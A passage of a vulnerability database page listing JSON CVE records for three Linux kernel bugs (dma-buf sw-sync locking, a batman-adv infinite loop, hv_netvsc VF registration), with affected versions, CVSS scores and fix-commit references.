              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "f14ad42b8743897d140808467ed4ae3ce93bd0a5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/dma-buf/sync_debug.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.14"
            },
            {
              "lessThan": "4.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "4.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.68",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndma-buf/sw-sync: don\u0027t enable IRQ from sync_print_obj()\n\nSince commit a6aa8fca4d79 (\"dma-buf/sw-sync: Reduce irqsave/irqrestore from\nknown context\") by error replaced spin_unlock_irqrestore() with\nspin_unlock_irq() for both sync_debugfs_show() and sync_print_obj() despite\nsync_print_obj() is called from sync_debugfs_show(), lockdep complains\ninconsistent lock state warning.\n\nUse plain spin_{lock,unlock}() for sync_print_obj(), for\nsync_debugfs_show() is already using spin_{lock,unlock}_irq()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:20:46.308Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/1ff116f68560a25656933d5a18e7619cb6773d8a"
        },
        {
          "url": "https://git.kernel.org/stable/c/165b25e3ee9333f7b04f8db43895beacb51582ed"
        },
        {
          "url": "https://git.kernel.org/stable/c/ae6fc4e6a3322f6d1c8ff59150d8469487a73dd8"
        },
        {
          "url": "https://git.kernel.org/stable/c/9d75fab2c14a25553a1664586ed122c316bd1878"
        },
        {
          "url": "https://git.kernel.org/stable/c/242b30466879e6defa521573c27e12018276c33a"
        },
        {
          "url": "https://git.kernel.org/stable/c/a4ee78244445ab73af22bfc5a5fc543963b25aef"
        },
        {
          "url": "https://git.kernel.org/stable/c/8a283cdfc8beeb14024387a925247b563d614e1e"
        },
        {
          "url": "https://git.kernel.org/stable/c/b794918961516f667b0c745aebdfebbb8a98df39"
        }
      ],
      "title": "dma-buf/sw-sync: don\u0027t enable IRQ from sync_print_obj()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38780",
    "datePublished": "2024-06-21T11:15:12.892Z",
    "dateReserved": "2024-06-21T10:12:11.516Z",
    "dateUpdated": "2026-05-12T11:55:22.697Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35982 (GCVE-0-2024-35982)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:42 – Updated: 2026-05-12 11:53

Title

batman-adv: Avoid infinite loop trying to resize local TT

Summary

In the Linux kernel, the following vulnerability has been resolved: batman-adv: Avoid infinite loop trying to resize local TT If the MTU of one of an attached interface becomes too small to transmit the local translation table then it must be resized to fit inside all fragments (when enabled) or a single packet. But if the MTU becomes too low to transmit even the header + the VLAN specific part then the resizing of the local TT will never succeed. This can for example happen when the usable space is 110 bytes and 11 VLANs are on top of batman-adv. In this case, at least 116 byte would be needed. There will just be an endless spam of batman_adv: batadv0: Forced to purge local tt entries to fit new maximum fragment MTU (110) in the log but the function will never finish. Problem here is that the timeout will be halved all the time and will then stagnate at 0 and therefore never be able to reduce the table even more. There are other scenarios possible with a similar result. The number of BATADV_TT_CLIENT_NOPURGE entries in the local TT can for example be too high to fit inside a packet. Such a scenario can therefore happen also with only a single VLAN + 7 non-purgable addresses - requiring at least 120 bytes. While this should be handled proactively when: * interface with too low MTU is added * VLAN is added * non-purgeable local mac is added * MTU of an attached interface is reduced * fragmentation setting gets disabled (which most likely requires dropping attached interfaces) not all of these scenarios can be prevented because batman-adv is only consuming events without the the possibility to prevent these actions (non-purgable MAC address added, MTU of an attached interface is reduced). It is therefore necessary to also make sure that the code is able to handle also the situations when there were already incompatible system configuration are present.

Severity ?

5.1 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/04720ea2e6c64459a…
https://git.kernel.org/stable/c/b3ddf690407399049…
https://git.kernel.org/stable/c/70a8be9dc2fb65d67…
https://git.kernel.org/stable/c/87b6af1a7683e0217…
https://git.kernel.org/stable/c/3fe79b2c83461edbb…
https://git.kernel.org/stable/c/4ca2a5fb54ea2cc43…
https://git.kernel.org/stable/c/ca54e2671548616ad…
https://git.kernel.org/stable/c/b1f532a3b1e6d2e55…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a19d3d85e1b854e4a483a55d740a42458085560d , < 04720ea2e6c64459a90ca28570ea78335eccd924 (git) Affected: a19d3d85e1b854e4a483a55d740a42458085560d , < b3ddf6904073990492454b1dd1c10a24be8c74c6 (git) Affected: a19d3d85e1b854e4a483a55d740a42458085560d , < 70a8be9dc2fb65d67f8c1e0c88c587e08e2e575d (git) Affected: a19d3d85e1b854e4a483a55d740a42458085560d , < 87b6af1a7683e021710c08fc0551fc078346032f (git) Affected: a19d3d85e1b854e4a483a55d740a42458085560d , < 3fe79b2c83461edbbf86ed8a6f3924820ff89259 (git) Affected: a19d3d85e1b854e4a483a55d740a42458085560d , < 4ca2a5fb54ea2cc43edea614207fcede562d91c2 (git) Affected: a19d3d85e1b854e4a483a55d740a42458085560d , < ca54e2671548616ad34885f90d4f26f7adb088f0 (git) Affected: a19d3d85e1b854e4a483a55d740a42458085560d , < b1f532a3b1e6d2e5559c7ace49322922637a28aa (git)
Linux	Linux	Affected: 3.13 Unaffected: 0 , < 3.13 (semver) Unaffected: 4.19.313 , ≤ 4.19.* (semver) Unaffected: 5.4.275 , ≤ 5.4.* (semver) Unaffected: 5.10.216 , ≤ 5.10.* (semver) Unaffected: 5.15.156 , ≤ 5.15.* (semver) Unaffected: 6.1.87 , ≤ 6.1.* (semver) Unaffected: 6.6.28 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:3.13:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "3.13"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.1,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-35982",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-20T13:42:24.669316Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-835",
                "description": "CWE-835 Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:51.361Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.996Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/04720ea2e6c64459a90ca28570ea78335eccd924"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b3ddf6904073990492454b1dd1c10a24be8c74c6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/70a8be9dc2fb65d67f8c1e0c88c587e08e2e575d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/87b6af1a7683e021710c08fc0551fc078346032f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3fe79b2c83461edbbf86ed8a6f3924820ff89259"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4ca2a5fb54ea2cc43edea614207fcede562d91c2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ca54e2671548616ad34885f90d4f26f7adb088f0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b1f532a3b1e6d2e5559c7ace49322922637a28aa"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:53:24.539Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/batman-adv/translation-table.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "04720ea2e6c64459a90ca28570ea78335eccd924",
              "status": "affected",
              "version": "a19d3d85e1b854e4a483a55d740a42458085560d",
              "versionType": "git"
            },
            {
              "lessThan": "b3ddf6904073990492454b1dd1c10a24be8c74c6",
              "status": "affected",
              "version": "a19d3d85e1b854e4a483a55d740a42458085560d",
              "versionType": "git"
            },
            {
              "lessThan": "70a8be9dc2fb65d67f8c1e0c88c587e08e2e575d",
              "status": "affected",
              "version": "a19d3d85e1b854e4a483a55d740a42458085560d",
              "versionType": "git"
            },
            {
              "lessThan": "87b6af1a7683e021710c08fc0551fc078346032f",
              "status": "affected",
              "version": "a19d3d85e1b854e4a483a55d740a42458085560d",
              "versionType": "git"
            },
            {
              "lessThan": "3fe79b2c83461edbbf86ed8a6f3924820ff89259",
              "status": "affected",
              "version": "a19d3d85e1b854e4a483a55d740a42458085560d",
              "versionType": "git"
            },
            {
              "lessThan": "4ca2a5fb54ea2cc43edea614207fcede562d91c2",
              "status": "affected",
              "version": "a19d3d85e1b854e4a483a55d740a42458085560d",
              "versionType": "git"
            },
            {
              "lessThan": "ca54e2671548616ad34885f90d4f26f7adb088f0",
              "status": "affected",
              "version": "a19d3d85e1b854e4a483a55d740a42458085560d",
              "versionType": "git"
            },
            {
              "lessThan": "b1f532a3b1e6d2e5559c7ace49322922637a28aa",
              "status": "affected",
              "version": "a19d3d85e1b854e4a483a55d740a42458085560d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/batman-adv/translation-table.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.13"
            },
            {
              "lessThan": "3.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.313",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.275",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.216",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.156",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.87",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.28",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.313",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.275",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.216",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.156",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.87",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.28",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbatman-adv: Avoid infinite loop trying to resize local TT\n\nIf the MTU of one of an attached interface becomes too small to transmit\nthe local translation table then it must be resized to fit inside all\nfragments (when enabled) or a single packet.\n\nBut if the MTU becomes too low to transmit even the header + the VLAN\nspecific part then the resizing of the local TT will never succeed. This\ncan for example happen when the usable space is 110 bytes and 11 VLANs are\non top of batman-adv. In this case, at least 116 byte would be needed.\nThere will just be an endless spam of\n\n   batman_adv: batadv0: Forced to purge local tt entries to fit new maximum fragment MTU (110)\n\nin the log but the function will never finish. Problem here is that the\ntimeout will be halved all the time and will then stagnate at 0 and\ntherefore never be able to reduce the table even more.\n\nThere are other scenarios possible with a similar result. The number of\nBATADV_TT_CLIENT_NOPURGE entries in the local TT can for example be too\nhigh to fit inside a packet. Such a scenario can therefore happen also with\nonly a single VLAN + 7 non-purgable addresses - requiring at least 120\nbytes.\n\nWhile this should be handled proactively when:\n\n* interface with too low MTU is added\n* VLAN is added\n* non-purgeable local mac is added\n* MTU of an attached interface is reduced\n* fragmentation setting gets disabled (which most likely requires dropping\n  attached interfaces)\n\nnot all of these scenarios can be prevented because batman-adv is only\nconsuming events without the the possibility to prevent these actions\n(non-purgable MAC address added, MTU of an attached interface is reduced).\nIt is therefore necessary to also make sure that the code is able to handle\nalso the situations when there were already incompatible system\nconfiguration are present."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:57.899Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/04720ea2e6c64459a90ca28570ea78335eccd924"
        },
        {
          "url": "https://git.kernel.org/stable/c/b3ddf6904073990492454b1dd1c10a24be8c74c6"
        },
        {
          "url": "https://git.kernel.org/stable/c/70a8be9dc2fb65d67f8c1e0c88c587e08e2e575d"
        },
        {
          "url": "https://git.kernel.org/stable/c/87b6af1a7683e021710c08fc0551fc078346032f"
        },
        {
          "url": "https://git.kernel.org/stable/c/3fe79b2c83461edbbf86ed8a6f3924820ff89259"
        },
        {
          "url": "https://git.kernel.org/stable/c/4ca2a5fb54ea2cc43edea614207fcede562d91c2"
        },
        {
          "url": "https://git.kernel.org/stable/c/ca54e2671548616ad34885f90d4f26f7adb088f0"
        },
        {
          "url": "https://git.kernel.org/stable/c/b1f532a3b1e6d2e5559c7ace49322922637a28aa"
        }
      ],
      "title": "batman-adv: Avoid infinite loop trying to resize local TT",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35982",
    "datePublished": "2024-05-20T09:42:06.397Z",
    "dateReserved": "2024-05-17T13:50:33.144Z",
    "dateUpdated": "2026-05-12T11:53:24.539Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26820 (GCVE-0-2024-26820)

Vulnerability from cvelistv5 – Published: 2024-04-17 09:43 – Updated: 2026-05-12 11:49

Title

hv_netvsc: Register VF in netvsc_probe if NET_DEVICE_REGISTER missed

Summary

In the Linux kernel, the following vulnerability has been resolved: hv_netvsc: Register VF in netvsc_probe if NET_DEVICE_REGISTER missed If hv_netvsc driver is unloaded and reloaded, the NET_DEVICE_REGISTER handler cannot perform VF register successfully as the register call is received before netvsc_probe is finished. This is because we register register_netdevice_notifier() very early( even before vmbus_driver_register()). To fix this, we try to register each such matching VF( if it is visible as a netdevice) at the end of netvsc_probe.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/bcb7164258d0a9a8a…
https://git.kernel.org/stable/c/c7441c77c91e47f65…
https://git.kernel.org/stable/c/5b10a88f64c0315cf…
https://git.kernel.org/stable/c/b6d46f306b3964d05…
https://git.kernel.org/stable/c/309ef7de5d840e176…
https://git.kernel.org/stable/c/a71302c8638939c45…
https://git.kernel.org/stable/c/4d29a58d96a78728c…
https://git.kernel.org/stable/c/9cae43da9867412f8…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 028aa21f9e92536038cabb834c15d08f5c894382 , < bcb7164258d0a9a8aa2e73ddccc2d78f67d2519d (git) Affected: 997d895fa495fb3421983923219bba93f1a793ee , < c7441c77c91e47f653104be8353b44a3366a5366 (git) Affected: ff6c130e48a79c826cbc2427bd8b34a7592460cc , < 5b10a88f64c0315cfdef45de0aaaa4eef57de0b7 (git) Affected: 97683466e24c801ee4e865ce90ac7e355db2da59 , < b6d46f306b3964d05055ddaa96b58cd8bd3a472c (git) Affected: 5dd83db613be8e5c5d30efed7f42780e9eb18380 , < 309ef7de5d840e17607e7d65cbf297c0564433ef (git) Affected: 7350c460f7f48a8653a15c5c90fc9070aaa29535 , < a71302c8638939c45e4ba5a99ea438185fd3f418 (git) Affected: 85520856466ed6bc3b1ccb013cddac70ceb437db , < 4d29a58d96a78728cb01ee29ed70dc4bd642f135 (git) Affected: 85520856466ed6bc3b1ccb013cddac70ceb437db , < 9cae43da9867412f8bd09aee5c8a8dc5e8dc3dc2 (git)
Linux	Linux	Affected: 6.7 Unaffected: 0 , < 6.7 (semver) Unaffected: 4.19.310 , ≤ 4.19.* (semver) Unaffected: 5.4.272 , ≤ 5.4.* (semver) Unaffected: 5.10.213 , ≤ 5.10.* (semver) Unaffected: 5.15.152 , ≤ 5.15.* (semver) Unaffected: 6.1.79 , ≤ 6.1.* (semver) Unaffected: 6.6.18 , ≤ 6.6.* (semver) Unaffected: 6.7.6 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26820",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-28T19:59:53.031569Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:49:04.707Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:14:13.523Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bcb7164258d0a9a8aa2e73ddccc2d78f67d2519d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c7441c77c91e47f653104be8353b44a3366a5366"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5b10a88f64c0315cfdef45de0aaaa4eef57de0b7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b6d46f306b3964d05055ddaa96b58cd8bd3a472c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/309ef7de5d840e17607e7d65cbf297c0564433ef"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a71302c8638939c45e4ba5a99ea438185fd3f418"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4d29a58d96a78728cb01ee29ed70dc4bd642f135"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9cae43da9867412f8bd09aee5c8a8dc5e8dc3dc2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:31.479Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/hyperv/netvsc_drv.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "bcb7164258d0a9a8aa2e73ddccc2d78f67d2519d",
              "status": "affected",
              "version": "028aa21f9e92536038cabb834c15d08f5c894382",
              "versionType": "git"
            },
            {
              "lessThan": "c7441c77c91e47f653104be8353b44a3366a5366",
              "status": "affected",
              "version": "997d895fa495fb3421983923219bba93f1a793ee",
              "versionType": "git"
            },
            {
              "lessThan": "5b10a88f64c0315cfdef45de0aaaa4eef57de0b7",
              "status": "affected",
              "version": "ff6c130e48a79c826cbc2427bd8b34a7592460cc",
              "versionType": "git"
            },
            {
              "lessThan": "b6d46f306b3964d05055ddaa96b58cd8bd3a472c",
              "status": "affected",
              "version": "97683466e24c801ee4e865ce90ac7e355db2da59",
              "versionType": "git"
            },
            {
              "lessThan": "309ef7de5d840e17607e7d65cbf297c0564433ef",
              "status": "affected",
              "version": "5dd83db613be8e5c5d30efed7f42780e9eb18380",
              "versionType": "git"
            },
            {
              "lessThan": "a71302c8638939c45e4ba5a99ea438185fd3f418",
              "status": "affected",
              "version": "7350c460f7f48a8653a15c5c90fc9070aaa29535",
              "versionType": "git"
            },
            {
              "lessThan": "4d29a58d96a78728cb01ee29ed70dc4bd642f135",
              "status": "affected",
              "version": "85520856466ed6bc3b1ccb013cddac70ceb437db",
              "versionType": "git"
            },
            {
              "lessThan": "9cae43da9867412f8bd09aee5c8a8dc5e8dc3dc2",
              "status": "affected",
              "version": "85520856466ed6bc3b1ccb013cddac70ceb437db",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/hyperv/netvsc_drv.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.7"
            },
            {
              "lessThan": "6.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.310",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.272",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.213",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.152",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.18",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.6",
